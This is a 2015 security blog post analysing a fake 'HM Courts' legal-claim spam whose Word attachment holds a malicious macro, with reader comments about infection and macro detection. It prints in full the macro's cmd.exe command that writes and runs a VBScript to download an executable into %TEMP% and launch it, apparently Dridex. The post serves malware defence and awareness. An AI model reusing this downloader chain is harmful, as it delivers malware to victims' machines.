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Tuesday, 7 April 2015

Malware spam: "COMPANY NAME has issued the claim against you and passed for consideration to HM Courts [VM1993LVW]"

This fake legal spam comes with a malicious attachment:

From:    Isiah Mosley [Rosella.e6@customer.7starnet.com]
Date:    7 April 2015 at 14:09
Subject:    Schroders has issued the claim against you and passed for consideration to HM Courts [VM1993LVW]

Schroders,Isiah Mosley

The company name is randomly chose. In the above example the attachment was called VM1993LVW.doc which matched the reference in the subject. The Word document contains a malicious macro [pastebin] which executes the following command:
cmd.exe /c @echo dim gyuFYFGuigddd: Set gyuFYFGuigddd = createobject("Microsoft.XMLHTTP")>gyuFYFGuig.vbs & @echo dim bStrm: Set bStrm = createobject("Adodb.Stream")>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Open "GET", "", False>>gyuFYFGuig.vbs & @echo gyuFYFGuigddd.Send>>gyuFYFGuig.vbs & @echo Set environmentVars = WScript.CreateObject("WScript.Shell").Environment("Process")>>gyuFYFGuig.vbs & @echo tempFolder = environmentVars("TEMP")>>gyuFYFGuig.vbs & @echo Fileopen = tempFolder + "\dfsdfff.exe">>gyuFYFGuig.vbs & @echo with bStrm>>gyuFYFGuig.vbs & @echo    .type = 1 >>gyuFYFGuig.vbs & @echo     .open>>gyuFYFGuig.vbs & @echo     .write gyuFYFGuigddd.responseBody>>gyuFYFGuig.vbs & @echo     .savetofile Fileopen, 2 >>gyuFYFGuig.vbs & @echo end with>>gyuFYFGuig.vbs & @echo Set GBIviviu67FUGBK = CreateObject("Shell.Application")>>gyuFYFGuig.vbs & @echo GBIviviu67FUGBK.Open Fileopen>>gyuFYFGuig.vbs & cscript.exe gyuFYFGuig.vbs
I can't be bothered to work out all of the crap with the .vbs which may of may not be importance. Along with an alternate macro, I can see download locations from:

For the record, is OOO A.S.R. in Russia and is Hetzner in Germany.

The downloaded .GIF file is definitely not a GIF and is instead an executable that gets saved as %TEMP%\dfsdfff.exe. This has a VirusTotal detecton rate of 2/56. Automated analysis tools [1] [2] [3] show the malware phoning home to: (Vautron Serverhousing, Germany)

According to the Malwr report, it drops a DLL with a detection rate of 2/56 which is most likely a Dridex DLL.

Recommended blocklist:



Unknown said...

I opened this word doc on my iPhone could it be infected?

Conrad Longmore said...

@Petehv2 - even if you have Microsoft Office on your phone you should be safe, because it downloads a Windows executable that won't run on that platform.

Unknown said...

Thanks for your advice :)

Unknown said...

we are detecting and labelling all macro containing documents.
the system we use does not detect based on virus signatures it detects based on if the document contains a macro or not
this one did not get labelled.
have you found any differences in the way the .doc file is constructed as we have ruled out a system fault.
we have seen a batch of this sent on 1/5/15. happy to provide more specific info if you leave an email address